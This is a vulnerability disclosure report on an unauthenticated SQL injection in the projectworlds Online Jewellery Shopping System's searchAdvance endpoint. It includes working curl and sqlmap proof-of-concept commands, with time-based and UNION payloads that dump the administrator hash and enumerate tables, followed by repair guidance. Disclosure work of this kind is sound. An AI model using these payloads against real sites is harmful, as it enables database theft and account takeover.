| विवरण | # projectworlds Online Jewellery Shopping System V1.0 /index.php/dashbord/searchAdvance SQL injection
# Project OF AFFECTED PRODUCT(S)
- Online Jewellery Shopping System
## Vendor Homepage
- https://projectworlds.com/free-projects/php-projects/free-download-online-jewellery-shopping-system/
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- 用户名
## Vulnerable File
- /jewllary-shop/application/models/dashbord_model.php (method `searchAdvance`, lines 90–103)
- reachable through /jewllary-shop/index.php/dashbord/searchAdvance (`application/controllers/dashbord.php`, line 107)
## VERSION(S)
- V1.0 (no version tags; CodeIgniter 2.1.4, `jewllary-shop.zip` snapshot dated 2017-11-11)
## Software Link
- https://github.com/projectworlds32/Jwellary-shop-PHP-MYSQL-
# PROBLEM TYPE
## Vulnerability Type
- SQL injection (UNION query + time-based blind)
## Root Cause
- A SQL injection vulnerability was found in the `searchAdvance` method of the `Dashbord_model` class. The date-range filter builds a SQL fragment by string interpolation — `$condition = "between '$from' And '$to' "` — and appends it to the `WHERE` clause. Both POST parameters `from` and `to` are inserted inside single quotes without escaping, so a single quote in either value terminates the literal and injects arbitrary SQL. The controller performs no authentication check for this method, therefore the endpoint is reachable by an unauthenticated attacker. The query joins `item` and `transaction`, which means the injected expression is evaluated once per joined row and produces a very stable time-based signal.
The vulnerable code (`application/models/dashbord_model.php`, lines 90–104):
```php
function searchAdvance($from , $to){
$form = trim($from);
$to = trim($to);
$condition = "between '$from' And '$to' "; // ← both values interpolated
...
$sql = "SELECT item.item, item.id as itemID, transaction.id, transaction.weight, transaction.nug,
transaction.transaction_type, transaction.comment, transaction.created
from item RIGHT JOIN transaction ON transaction.item_id = item.id
WHERE transaction.created $condition "; // ← injected fragment
$query = $this->db->query($sql);
```
The missing authentication check (`application/controllers/dashbord.php`, lines 5–13):
```php
public function __construct() {
parent::__construct();
$this->load->model('Dashbord_model');
$this->load->model('Init_model');
} // no is_logged_in() here
```
## Impact
- An unauthenticated attacker can (a) read the whole `ornament` database, including the administrator hash stored in `auth`, (b) read the complete transaction history (weights, quantities, buy/sale direction, comments, dates), (c) enumerate other schemas on the shared instance, and (d) use the leaked hash together with the shipped default credential to log into the back office. Because the payload is sent in a POST body, it never appears in the URL and is not limited by CodeIgniter's `permitted_uri_chars` filter.
# DESCRIPTION
- During the security review of "Online Jewellery Shopping System" I found a pre-authentication SQL injection in the advanced transaction search. The model composes the `BETWEEN` clause by direct interpolation into single quotes. Supplying `from=2014-08-01' AND SLEEP(2) AND '1'='1` delayed the response by 14 seconds on the test instance (seven joined rows × 2 s), and a UNION payload returned the administrator hash. The endpoint sits behind no authentication because `Dashbord::__construct()` never calls `is_logged_in()`.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability location:
- POST parameters `from` and `to` in `/jewllary-shop/index.php/dashbord/searchAdvance` — no session or cookie required.
## Proof-of-Concept (raw PoC commands, unauthenticated)
```
# 0) Baseline
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
-X POST "http://<target>/index.php/dashbord/searchAdvance" \
--data-urlencode "from=2014-08-01" --data-urlencode "to=2015-01-01"
# 1) Time-based blind (~14s on the test instance, SLEEP evaluated per joined row)
curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "http://<target>/index.php/dashbord/searchAdvance" \
--data-urlencode "from=2014-08-01' AND SLEEP(2) AND '1'='1" \
--data-urlencode "to=2015-01-01"
# 2) UNION query — dump the administrator hash (8 columns in the SELECT list)
curl -s -X POST "http://<target>/index.php/dashbord/searchAdvance" \
--data-urlencode "from=2014-08-01' AND 1=1 UNION SELECT user_name,1,id,1,1,password,1,1 FROM auth-- -" \
--data-urlencode "to=2015-01-01"
# Response contains: <td>admin</td> ... <td>d033e22ae348aeb5660fc2140aec35850c4da997</td>
# 3) The 'to' parameter is injectable in the same way
from=2014-08-01&to=2015-01-01' AND SLEEP(2) AND '1'='1
# 4) Arbitrary table read
from=2014-08-01' AND 1=1 UNION SELECT table_schema,1,1,1,1,table_name,1,1 FROM information_schema.tables-- -
```
## Verified detection summary (curl; sqlmap reproduces the same request)
```
Parameter: from (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: from=2014-08-01' AND 1=1 UNION SELECT user_name,1,id,1,1,password,1,1 FROM auth-- -
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: from=2014-08-01' AND SLEEP(2) AND '1'='1
---
web application technology: PHP 5.5.9, CodeIgniter 2.1.4
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
```
## Reproduction with sqlmap
```bash
python sqlmap.py -u "http://<target>/index.php/dashbord/searchAdvance" \
--data="from=2014-08-01&to=2015-01-01" -p from --dbms=mysql \
--dbs --batch --threads=1 --level=3 --risk=2
python sqlmap.py -u "http://<target>/index.php/dashbord/searchAdvance" \
--data="from=2014-08-01&to=2015-01-01" -p from,to --dbms=mysql \
-D ornament -T auth -C user_name,password --dump --batch --threads=1
```
## Raw evidence (local test instance)
```
baseline from=2014-08-01 http=200 time=0.039433 size=3558
payload from=... AND SLEEP(2) http=200 time=14.168892
union -> <td>d033e22ae348aeb5660fc2140aec35850c4da997</td>
```
# Suggested repair
1. **Use prepared statements and parameter binding:**
Replace the interpolated fragment with `$this->db->where('transaction.created >=', $from)` / `$this->db->where('transaction.created <=', $to)`, which binds and escapes values. Never build a `BETWEEN` clause by string concatenation.
2. **Validate dates against a strict format:**
Accept only `YYYY-MM-DD` (`DateTime::createFromFormat('Y-m-d', $from)` and verify `getLastErrors()`), then re-render the canonical value.
3. **Restore the authentication guard:**
Call `is_logged_in()` in `Dashbord::__construct()` and `exit` after the redirect, so `searchAdvance` is no longer anonymously reachable.
4. **Do not leak database errors:**
Disable `db_debug` in production; the failing SQL statement is currently returned in the HTTP response.
5. **Minimize database user permissions:**
Replace the hard-coded `root`/empty-password credentials in `application/config/database.php` with a least-privilege account.
6. **Regular security audits:**
Audit every `$this->db->query()` call in the models; the same interpolation style is used by `searchItem` (`dashbord_model.php:67`) and by `home/search` (`home.php:24`).
---
*CVE status (2026-10-27): no CVE is assigned to this product or to this file/parameter. NVD `keywordSearch=Online+Jewellery+Shopping` and `keywordSearch=Jewellery` both return 0 records; CIRCL `search/projectworlds/jewellery` returns 0. See `00-DEDUP-AND-SUBMISSION.md`.* |
|---|